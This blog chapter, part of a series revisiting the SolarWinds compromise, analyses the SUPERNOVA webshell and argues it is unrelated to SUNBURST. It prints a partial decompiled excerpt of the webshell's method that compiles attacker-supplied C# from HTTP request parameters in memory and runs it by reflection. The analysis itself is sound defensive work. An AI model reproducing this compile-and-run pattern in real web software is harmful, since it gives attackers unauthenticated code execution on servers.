Martin's Blog

7. An Interlude: The Second, Unrelated Intruder

Every account of SolarWinds eventually trips over SUPERNOVA, and most accounts trip badly by folding it into the SUNBURST campaign because it lived on the same product. It does not belong there. SUPERNOVA is a different piece of malware, delivered a different way, by a different actor, and happened to target Orion in the same window. This short chapter exists precisely to draw that line cleanly, because “same product, therefore same attacker” is the single most common analytical error around this incident (Chapter 2, §2.3).

7.1 Why it sits here, chronologically

SUPERNOVA’s PE header carries TimeDateStamp 2020-03-24 09:16:10 (read locally). That is the same calendar date as the first weaponized SUNBURST DLL’s assembly timestamp (08:52:34, Chapter 3). A PE timestamp can be manipulated and does not establish compilation, deployment, or a relationship between samples. Even if taken at face value, the matching date would be correlation, not attribution; the code, delivery, and public assessments separate the operations.

This book places SUPERNOVA here, as a discovery-time interlude, on purpose. SUPERNOVA was not distributed through the build pipeline and was not waiting in the four installers. It was found on victim Orion servers during the December-2020 response to SUNBURST; investigators hunting one backdoor turned over a rock and found an unrelated one. Putting the chapter between the second stage (Chapter 6) and the discovery story (Chapter 8) mirrors how it actually surfaced: as a byproduct of looking for something else.

7.2 What SUPERNOVA is

SUPERNOVA (c15abaf5…, on-disk name app_web_logoimagehandler.ashx….dll) is a .NET webshell. It is a trojanized version of a legitimate Orion component, LogoImageHandler (the handler that normally serves a logo image for the Orion web UI). The trojanized handler keeps that innocuous cover and adds a single, potent capability: it will compile and run attacker-supplied C# in memory, on demand, on the Orion web server.

Crucially, it is an ordinary .dll dropped onto a vulnerable server. It was not signed by SolarWinds, not carried in any installer, and not the output of the SUNSPOT build compromise. There is no supply chain here at all.

7.3 The reported deployment path: CVE-2020-10148

Public reporting associates SUPERNOVA deployments with Orion exploitation, including CVE-2020-10148, an authentication bypass vulnerability in the Orion API. The bypass could let an unauthenticated attacker reach API endpoints that should have required authentication and, once a SUPERNOVA handler was present, invoke its remote code execution capability without credentials. The sample proves the webshell behavior below; it does not prove how this particular DLL was first placed on a server. This is still a fundamentally different access model from SUNBURST, which arrived through a trojanized update rather than exploitation of the customer-facing Orion API.

7.4 The core: DynamicRun

The whole of SUPERNOVA’s power is one method. From the decompiled handler:

// LogoImageHandler.cs (SUPERNOVA, decompiled)
public string DynamicRun(string codes, string clazz, string method, string[] args)
{
    CompilerResults val = ((CodeDomProvider)new CSharpCodeProvider()).CreateCompiler()
        .CompileAssemblyFromSource(new CompilerParameters {
            ReferencedAssemblies = { "System.dll", "System.ServiceModel.dll",
                                     "System.Data.dll", "System.Runtime.dll" },
            GenerateExecutable = false,
            GenerateInMemory   = true            // compile in RAM, no file dropped
        }, codes);
    // … Activator.CreateInstance(clazz) → MethodInfo.Invoke(method, args) …
}
// ProcessRequest: codes  = context.Request["codes"];   clazz  = context.Request["clazz"];
//                 method = context.Request["method"];  args   = context.Request["args"].Split('\n');

Line by line:

  1. ProcessRequest reads four request parameters: codes, clazz, method, args. All four are attacker-controlled, straight off the HTTP request. codes is C# source code.
  2. new CSharpCodeProvider().CreateCompiler().CompileAssemblyFromSource(…, codes): the handler invokes the C# compiler at runtime (Microsoft.CSharp CodeDom) on the attacker’s source. The Orion server compiles code the attacker just sent it.
  3. GenerateInMemory = true / GenerateExecutable = false: the assembly is built in memory, never written to disk. Like the second stage in Chapter 6, there is no compiled artifact for a disk scanner to find, but here the source is supplied live, per request.
  4. ReferencedAssemblies = { System.dll, System.ServiceModel.dll, … }: the attacker’s code is linked against real framework assemblies, so it can do real work (I/O, networking, process control) within the privileges of the web application.
  5. Activator.CreateInstance(clazz) → MethodInfo.Invoke(method, args): the freshly-compiled class (clazz) is instantiated by reflection and its method is invoked with the attacker-supplied args. The result is returned in the HTTP response.

That is a complete, self-contained RCE primitive: send source, name a class and method, get output back: a compile-and-run webshell with nothing persisted to disk between requests.

7.5 Why it is not SUNBURST

The separation is not a matter of opinion; the artifacts make it concrete:

SUNBURST SUPERNOVA
Delivery Supply chain (compiled into a signed Orion DLL) A .dll dropped onto a vulnerable server
Access model Arrives through a trusted update; no customer-side exploit On-disk webshell; deployments publicly associated with Orion exploitation including CVE-2020-10148
Mechanism Dormant, gated, DGA/DNS-and-HTTP backdoor On-demand compile-and-invoke webshell
Code signing Rides a valid SolarWinds signature None
Build pipeline (SUNSPOT) Yes (injected at compile time) No
Shared code with the SUNBURST implant Not applicable None
Attribution UNC2452 / APT29 / SVR Mandiant explicitly does not attribute it to UNC2452

The only thing the two share is the product, and, confusingly, an AV label: many engines tag SUPERNOVA trojan.sunburst/supernova (62 detections on VirusTotal). That label is product- based, not code-based; it means “malware seen on SolarWinds Orion,” not “a SUNBURST variant.” Treating the label as evidence of a common actor is exactly the trap.

7.6 The lesson the interlude teaches

Including SUPERNOVA keeps the IOC picture honest. Two unrelated actors independently weaponized the same widely-deployed platform in the same months, one via a patient supply-chain implant, one via a public-facing vulnerability. If you collapse them, you corrupt your attribution, your timeline, and your remediation (the two require entirely different fixes: rebuild-and-rotate for a SUNBURST victim; patch the API auth bypass for a SUPERNOVA victim).

This is the same discipline from Chapter 2, restated from the other direction: “same product” is not “same actor.” It also reinforces a point that recurs through the campaign: “SolarWinds victim” was never a single, clean category. With the interlude closed, the next chapter returns to the main thread: how the SUNBURST campaign was finally discovered, and how its own DNS logic was turned into a global off switch.

Sources & evidence

↑ Revisiting the SolarWinds Compromise